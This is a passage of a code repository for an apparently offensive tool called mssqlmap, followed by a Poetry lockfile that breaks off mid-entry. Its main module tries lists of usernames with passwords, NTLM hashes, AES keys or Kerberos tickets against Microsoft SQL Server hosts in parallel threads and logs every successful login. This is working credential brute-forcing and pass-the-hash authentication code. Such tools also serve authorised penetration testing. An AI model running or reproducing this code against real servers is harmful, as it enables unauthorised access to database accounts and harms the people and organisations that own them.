logging.getLogger('impacket').setLevel(logging.FATAL) 73 | 74 | if opts.domain: 75 | opts.windows_auth = True 76 | 77 | try: 78 | with ThreadPoolExecutor(max_workers=opts.threads) as pool: 79 | for _ in pool.map(functools.partial(process, opts=opts), util.load_targets(opts.targets, opts.json_input)): 80 | pass 81 | except KeyboardInterrupt: 82 | exit(1) 83 | 84 | 85 | def process(target: Connection, opts: Namespace) -> None: 86 | local.log = functools.partial(util.log, host=target.host, port=target.port, domain=opts.domain) 87 | match opts.command: 88 | case 'passwords': 89 | for line in util.load_wordlists(opts.credential): 90 | username, password = line.split(':', maxsplit=1) 91 | client = Client(Connection( 92 | host=target.host, 93 | port=target.port or 1433, 94 | domain=opts.domain, 95 | username=username, 96 | password=password, 97 | windows_auth=opts.windows_auth, 98 | kerberos=opts.kerberos, 99 | kdc_host=opts.kdc, 100 | timeout=opts.timeout, 101 | )) 102 | test_login(opts, client) 103 | for username in util.load_wordlists(opts.user): 104 | for password in util.load_wordlists(opts.password): 105 | client = Client(Connection( 106 | host=target.host, 107 | port=target.port or 1433, 108 | domain=opts.domain, 109 | username=username, 110 | password=password, 111 | windows_auth=opts.windows_auth, 112 | kerberos=opts.kerberos, 113 | kdc_host=opts.kdc, 114 | timeout=opts.timeout, 115 | )) 116 | test_login(opts, client) 117 | case 'hashes': 118 | for username in util.load_wordlists(opts.user): 119 | for hash in util.load_wordlists(opts.hashes): 120 | client = Client(Connection( 121 | host=target.host, 122 | port=target.port or 1433, 123 | domain=opts.domain, 124 | username=username, 125 | hashes=hash, 126 | windows_auth=True, 127 | kerberos=False, 128 | timeout=opts.timeout, 129 | )) 130 | test_login(opts, client) 131 | case 'keys': 132 | for username in util.load_wordlists(opts.user): 133 | for hash in util.load_wordlists(opts.hashes): 134 | client = Client(Connection( 135 | host=target.host, 136 | port=target.port or 1433, 137 | domain=opts.domain, 138 | username=username, 139 | hashes=hash, 140 | windows_auth=True, 141 | kerberos=True, 142 | kdc_host=opts.kdc, 143 | timeout=opts.timeout, 144 | )) 145 | test_login(opts, client) 146 | for key in util.load_wordlists(opts.aes_key): 147 | client = Client(Connection( 148 | host=target.host, 149 | port=target.port or 1433, 150 | domain=opts.domain, 151 | username=username, 152 | aes_key=key, 153 | windows_auth=True, 154 | kerberos=True, 155 | kdc_host=opts.kdc, 156 | timeout=opts.timeout, 157 | )) 158 | test_login(opts, client) 159 | case 'tickets': 160 | for username in util.load_wordlists(opts.user): 161 | for ticket in opts.ticket: 162 | client = Client(Connection( 163 | host=target.host, 164 | port=target.port or 1433, 165 | domain=opts.domain, 166 | username=username, 167 | ticket=ticket, 168 | windows_auth=True, 169 | kerberos=True, 170 | kdc_host=opts.kdc, 171 | timeout=opts.timeout, 172 | )) 173 | test_login(opts, client) 174 | case _: 175 | raise RuntimeError('unreachable') 176 | 177 | 178 | def test_login(opts: Namespace, client: Client) -> None: 179 | try: 180 | with client: 181 | local.log(**client.connection.model_dump(exclude_defaults=True), success=True, stdout=True) 182 | except OSError as e: 183 | local.log(**client.connection.model_dump(exclude_defaults=True), error=dict(message=str(e), type=e.__class__.__name__)) 184 | except Exception as e: 185 | local.log(**client.connection.model_dump(exclude_defaults=True), error=dict(message=str(e), type=e.__class__.__name__)) 186 | if opts.debug: 187 | traceback.print_exception(e, file=sys.stderr) 188 | 189 | 190 | if __name__ == '__main__': 191 | main() 192 | -------------------------------------------------------------------------------- /mssqlmap/util.py: -------------------------------------------------------------------------------- 1 | from typing import Generator, TextIO, TypeVar 2 | import json 3 | import os 4 | import random 5 | import string 6 | import sys 7 | 8 | from mssqlmap.connection import Connection 9 | 10 | 11 | def log(stdout: bool = False, **kwargs) -> None: 12 | print(json.dumps(kwargs, indent=None, separators=(',', ':'), sort_keys=False), file=sys.stdout if stdout else sys.stderr) 13 | 14 | 15 | def load_targets(args: list[str], json_input: bool) -> Generator[Connection, None, None]: 16 | if args: 17 | yield from load_args(args) 18 | else: 19 | yield from load_stdin(json_input) 20 | 21 | 22 | def load_args(args: list[str]) -> Generator[Connection, None, None]: 23 | for arg in args: 24 | try: 25 | yield parse_host_tuple(arg) 26 | except Exception: 27 | log(error='invalid host tuple', input=arg) 28 | 29 | 30 | def load_stdin(json_input: bool) -> Generator[Connection, None, None]: 31 | for line in sys.stdin: 32 | line = line.rstrip('\n') 33 | if not line: 34 | continue 35 | if json_input: 36 | try: 37 | yield Connection.model_validate(json.loads(line)) 38 | except Exception: 39 | log(error='invalid model', input=line) 40 | else: 41 | try: 42 | yield parse_host_tuple(line) 43 | except Exception: 44 | log(error='invalid host tuple', input=line) 45 | 46 | 47 | def parse_host_tuple(line: str) -> Connection: 48 | parts = line.split(':', maxsplit=1) 49 | host = parts[0] 50 | port = int(parts[1]) if len(parts) > 1 else 1433 51 | return Connection(host=host, port=port) 52 | 53 | 54 | def load_wordlists(items: list[str]) -> Generator[str, None, None]: 55 | for item in items: 56 | if os.path.exists(item): 57 | with open(item, 'r') as file: 58 | for line in file: 59 | yield line.rstrip('\n') 60 | else: 61 | yield item 62 | 63 | 64 | def random_string(length: int = 8) -> str: 65 | return ''.join(random.choice(string.ascii_lowercase) for _ in range(length)) 66 | -------------------------------------------------------------------------------- /poetry.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Poetry 2.1.1 and should not be changed by hand. 2 | 3 | [[package]] 4 | name = "annotated-types" 5 | version = "0.7.0" 6 | description = "Reusable constraint types to use with typing.Annotated" 7 | optional = false 8 | python-versions = ">=3.8" 9 | groups = ["main"] 10 | files = [ 11 | {file = "annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53"}, 12 | {file = "annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89"}, 13 | ] 14 | 15 | [[package]] 16 | name = "blinker" 17 | version = "1.8.2" 18 | description = "Fast, simple object-to-object and broadcast signaling" 19 | optional = false 20 | python-versions = ">=3.8" 21 | groups = ["main"] 22 | files = [ 23 | {file = "blinker-1.8.2-py3-none-any.whl", hash = "sha256:1779309f71bf239144b9399d06ae925637cf6634cf6bd131104184531bf67c01"}, 24 | {file = "blinker-1.8.2.tar.gz", hash = "sha256:8f77b09d3bf7c795e969e9486f39c2c5e9c39d4ee07424be2bc594ece9642d83"}, 25 | ] 26 | 27 | [[package]] 28 | name = "certifi" 29 | version = "2024.8.30" 30 | description = "Python package for providing Mozilla's CA Bundle." 31 | optional = false 32 | python-versions = ">=3.6" 33 | groups = ["main"] 34 | files = [ 35 | {file = "certifi-2024.8.30-py3-none-any.whl", hash = "sha256:922820b53db7a7257ffbda3f597266d435245903d80737e34f8a45ff3e3230d8"}, 36 | {file = "certifi-2024.8.30.tar.gz", hash = "sha256:bec941d2aa8195e248a60b31ff9f0558284cf01a52591ceda73ea9afffd69fd9"}, 37 | ] 38 | 39 | [[package]] 40 | name = "cffi" 41 | version = "1.17.1" 42 | description = "Foreign Function Interface for Python calling C code." 43 | optional = false 44 | python-versions = ">=3.8" 45 | groups = ["main"] 46 | markers = "platform_python_implementation != \"PyPy\"" 47 | files = [ 48 | {file = "cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14"}, 49 | {file = "cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67"}, 50 | {file = "cffi-1.17.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edae79245293e15384b51f88b00613ba9f7198016a5948b5dddf4917d4d26382"}, 51 | {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45398b671ac6d70e67da8e4224a065cec6a93541bb7aebe1b198a61b58c7b702"}, 52 | {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad9413ccdeda48c5afdae7e4fa2192157e991ff761e7ab8fdd8926f40b160cc3"}, 53 | {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5da5719280082ac6bd9aa7becb3938dc9f9cbd57fac7d2871717b1feb0902ab6"}, 54 | {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bb1a08b8008b281856e5971307cc386a8e9c5b625ac297e853d36da6efe9c17"}, 55 | {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:045d61c734659cc045141be4bae381a41d89b741f795af1dd018bfb532fd0df8"}, 56 | {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:6883e737d7d9e4899a8a695e00ec36bd4e5e4f18fabe0aca0efe0a4b44cdb13e"}, 57 | {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b8b4a92e1c65048ff98cfe1f735ef8f1ceb72e3d5f0c25fdb12087a23da22be"}, 58 | {file = "cffi-1.17.1-cp310-cp310-win32.whl", hash = "sha256:c9c3d058ebabb74db66e431095118094d06abf53284d9c81f27300d0e0d8bc7c"}, 59 | {file = "cffi-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:0f048dcf80db46f0098ccac01132761580d28e28bc0f78ae0d58048063317e15"}, 60 | {file = "cffi-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a45e3c6913c5b87b3ff120dcdc03f6131fa0065027d0ed7ee6190736a74cd401"}, 61 | {file = "cffi-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:30c5e0cb5ae493c04c8b42916e52ca38079f1b235c2f8ae5f4527b963c401caf"}, 62 | {file = "cffi-1.17.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f75c7ab1f9e4aca5414ed4d8e5c0e303a34f4421f8a0d47a4d019ceff0ab6af4"}, 63 | {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1ed2dd2972641495a3ec98445e09766f077aee98a1c896dcb4ad0d303628e41"}, 64 | {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46bf43160c1a35f7ec506d254e5c890f3c03648a4dbac12d624e4490a7046cd1"}, 65 | {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a24ed04c8ffd54b0729c07cee15a81d964e6fee0e3d4d342a27b020d22959dc6"}, 66 | {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:610faea79c43e44c71e1ec53a554553fa22321b65fae24889706c0a84d4ad86d"}, 67 | {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a9b15d491f3ad5d692e11f6b71f7857e7835eb677955c00cc0aefcd0669adaf6"}, 68 | {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:de2ea4b5833625383e464549fec1bc395c1bdeeb5f25c4a3a82b5a8c756ec22f"}, 69 | {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:fc48c783f9c87e60831201f2cce7f3b2e4846bf4d8728eabe54d60700b318a0b"}, 70 | {file = "cffi-1.17.1-cp311-cp311-win32.whl", hash = "sha256:85a950a4ac9c359340d5963966e3e0a94a676bd6245a4b55bc43949eee26a655"}, 71 | {file = "cffi-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:caaf0640ef5f5517f49bc275eca1406b0ffa6aa184892812030f04c2abf589a0"}, 72 | {file = "cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4"}, 73 | {file = "cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c"}, 74 | {file = "cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36"}, 75 | {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5"}, 76 | {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff"}, 77 | {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99"}, 78 | {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93"}, 79 | {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3"}, 80 | {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8"}, 81 | {file = "cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65"}, 82 | {file = "cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903"}, 83 | {file = "cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e"}, 84 | {file = "cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2"}, 85 | {file = "cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3"}, 86 | {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683"}, 87 | {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5"}, 88 | {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4"}, 89 | {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd"}, 90 | {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed"}, 91 | {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9"}, 92 | {file = "cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d"}, 93 | {file = "cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a"}, 94 | {file = "cffi-1.17.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:636062ea65bd0195bc012fea9321aca499c0504409f413dc88af450b57ffd03b"}, 95 | {file = "cffi-1.17.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7eac2ef9b63c79431bc4b25f1cd649d7f061a28808cbc6c47b534bd789ef964"}, 96 | {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e221cf152cff04059d011ee126477f0d9588303eb57e88923578ace7baad17f9"}, 97 | {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:31000ec67d4221a71bd3f67df918b1f88f676f1c3b535a7eb473255fdc0b83fc"}, 98 | {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f17be4345073b0a7b8ea599688f692ac3ef23ce28e5df79c04de519dbc4912c"}, 99 | {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2b1fac190ae3ebfe37b979cc1ce69c81f4e4fe5746bb401dca63a9062cdaf1"}, 100 | {file = "cffi-1.17.1-cp38-cp38-win32.whl", hash = "sha256:7596d6620d3fa590f677e9ee430df2958d2d6d6de2feeae5b20e82c00b76fbf8"}, 101 | {file = "cffi-1.17.1-cp38-cp38-win_amd64.whl", hash = "sha256:78122be759c3f8a014ce010908ae03364d00a1f81ab5c7f4a7a5120607ea56e1"}, 102 | {file = "cffi-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2ab587605f4ba0bf81dc0cb08a41bd1c0a5906bd59243d56bad7668a6fc6c16"}, 103 | {file = "cffi-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28b16024becceed8c6dfbc75629e27788d8a3f9030691a1dbf9821a128b22c36"}, 104 | {file = "cffi-1.17.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d599671f396c4723d016dbddb72fe8e0397082b0a77a4fab8028923bec050e8"}, 105 | {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca74b8dbe6e8e8263c0ffd60277de77dcee6c837a3d0881d8c1ead7268c9e576"}, 106 | {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7f5baafcc48261359e14bcd6d9bff6d4b28d9103847c9e136694cb0501aef87"}, 107 | {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98e3969bcff97cae1b2def8ba499ea3d6f31ddfdb7635374834cf89a1a08ecf0"}, 108 | {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdf5ce3acdfd1661132f2a9c19cac174758dc2352bfe37d98aa7512c6b7178b3"}, 109 | {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9755e4345d1ec879e3849e62222a18c7174d65a6a92d5b346b1863912168b595"}, 110 | {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f1e22e8c4419538cb197e4dd60acc919d7696e5ef98ee4da4e01d3f8cfa4cc5a"}, 111 | {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:c03e868a0b3bc35839ba98e74211ed2b05d2119be4e8a0f224fba9384f1fe02e"}, 112 | {file = "cffi-1.17.1-cp39-cp39-win32.whl", hash = "sha256:e31ae45bc2e29f6b2abd0de1cc3b9d5205aa847cafaecb8af1476a609a2f6eb7"}, 113 | {file = "cffi-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d016c76bdd850f3c626af19b0542c9677ba156e4ee4fccfdd7848803533ef662"}, 114 | {file = "cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824"}, 115 | ] 116 | 117 | [package.dependencies] 118 | pycparser = "*" 119 | 120 | [[package]] 121 | name = "charset-normalizer" 122 | version = "3.3.2" 123 | description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." 124 | optional = false 125 | python-versions = ">=3.7.0" 126 | groups = ["main"] 127 | files = [ 128 | {file = "charset-normalizer-3.3.2.tar.gz", hash = "sha256:f30c3cb33b24454a82faecaf01b19c18562b1e89558fb6c56de4d9118a032fd5"}, 129 | {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:25baf083bf6f6b341f4121c2f3c548875ee6f5339300e08be3f2b2ba1721cdd3"}, 130 | {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:06435b539f889b1f6f4ac1758871aae42dc3a8c0e24ac9e60c2384973ad73027"}, 131 | {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9063e24fdb1e498ab71cb7419e24622516c4a04476b17a2dab57e8baa30d6e03"}, 132 | {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6897af51655e3691ff853668779c7bad41579facacf5fd7253b0133308cf000d"}, 133 | {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1d3193f4a680c64b4b6a9115943538edb896edc190f0b222e73761716519268e"}, 134 | {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd70574b12bb8a4d2aaa0094515df2463cb429d8536cfb6c7ce983246983e5a6"}, 135 | {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8465322196c8b4d7ab6d1e049e4c5cb460d0394da4a27d23cc242fbf0034b6b5"}, 136 | {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a9a8e9031d613fd2009c182b69c7b2c1ef8239a0efb1df3f7c8da66d5dd3d537"}, 137 | {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:beb58fe5cdb101e3a055192ac291b7a21e3b7ef4f67fa1d74e331a7f2124341c"}, 138 | {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e06ed3eb3218bc64786f7db41917d4e686cc4856944f53d5bdf83a6884432e12"}, 139 | {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:2e81c7b9c8979ce92ed306c249d46894776a909505d8f5a4ba55b14206e3222f"}, 140 | {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:572c3763a264ba47b3cf708a44ce965d98555f618ca42c926a9c1616d8f34269"}, 141 | {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:fd1abc0d89e30cc4e02e4064dc67fcc51bd941eb395c502aac3ec19fab46b519"}, 142 | {file = "charset_normalizer-3.3.2-cp310-cp310-win32.whl", hash = "sha256:3d47fa203a7bd9c5b6cee4736ee84ca03b8ef23193c0d1ca99b5089f72645c73"}, 143 | {file = "charset_normalizer-3.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:10955842570876604d404661fbccbc9c7e684caf432c09c715ec38fbae45ae09"}, 144 | {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:802fe99cca7457642125a8a88a084cef28ff0cf9407060f7b93dca5aa25480db"}, 145 | {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:573f6eac48f4769d667c4442081b1794f52919e7edada77495aaed9236d13a96"}, 146 | {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:549a3a73da901d5bc3ce8d24e0600d1fa85524c10287f6004fbab87672bf3e1e"}, 147 | {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f27273b60488abe721a075bcca6d7f3964f9f6f067c8c4c605743023d7d3944f"}, 148 | {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ceae2f17a9c33cb48e3263960dc5fc8005351ee19db217e9b1bb15d28c02574"}, 149 | {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:65f6f63034100ead094b8744b3b97965785388f308a64cf8d7c34f2f2e5be0c4"}, 150 | {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:753f10e867343b4511128c6ed8c82f7bec3bd026875576dfd88483c5c73b2fd8"}, 151 | {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4a78b2b446bd7c934f5dcedc588903fb2f5eec172f3d29e52a9096a43722adfc"}, 152 | {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e537484df0d8f426ce2afb2d0f8e1c3d0b114b83f8850e5f2fbea0e797bd82ae"}, 153 | {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:eb6904c354526e758fda7167b33005998fb68c46fbc10e013ca97f21ca5c8887"}, 154 | {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:deb6be0ac38ece9ba87dea880e438f25ca3eddfac8b002a2ec3d9183a454e8ae"}, 155 | {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:4ab2fe47fae9e0f9dee8c04187ce5d09f48eabe611be8259444906793ab7cbce"}, 156 | {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80402cd6ee291dcb72644d6eac93785fe2c8b9cb30893c1af5b8fdd753b9d40f"}, 157 | {file = "charset_normalizer-3.3.2-cp311-cp311-win32.whl", hash = "sha256:7cd13a2e3ddeed6913a65e66e94b51d80a041145a026c27e6bb76c31a853c6ab"}, 158 | {file = "charset_normalizer-3.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:663946639d296df6a2bb2aa51b60a2454ca1cb29835324c640dafb5ff2131a77"}, 159 | {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:0b2b64d2bb6d3fb9112bafa732def486049e63de9618b5843bcdd081d8144cd8"}, 160 | {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:ddbb2551d7e0102e7252db79ba445cdab71b26640817ab1e3e3648dad515003b"}, 161 | {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:55086ee1064215781fff39a1af09518bc9255b50d6333f2e4c74ca09fac6a8f6"}, 162 | {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8f4a014bc36d3c57402e2977dada34f9c12300af536839dc38c0beab8878f38a"}, 163 | {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a10af20b82360ab00827f916a6058451b723b4e65030c5a18577c8b2de5b3389"}, 164 | {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8d756e44e94489e49571086ef83b2bb8ce311e730092d2c34ca8f7d925cb20aa"}, 165 | {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90d558489962fd4918143277a773316e56c72da56ec7aa3dc3dbbe20fdfed15b"}, 166 | {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ac7ffc7ad6d040517be39eb591cac5ff87416c2537df6ba3cba3bae290c0fed"}, 167 | {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:7ed9e526742851e8d5cc9e6cf41427dfc6068d4f5a3bb03659444b4cabf6bc26"}, 168 | {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:8bdb58ff7ba23002a4c5808d608e4e6c687175724f54a5dade5fa8c67b604e4d"}, 169 | {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:6b3251890fff30ee142c44144871185dbe13b11bab478a88887a639655be1068"}, 170 | {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_s390x.whl", hash = "sha256:b4a23f61ce87adf89be746c8a8974fe1c823c891d8f86eb218bb957c924bb143"}, 171 | {file = 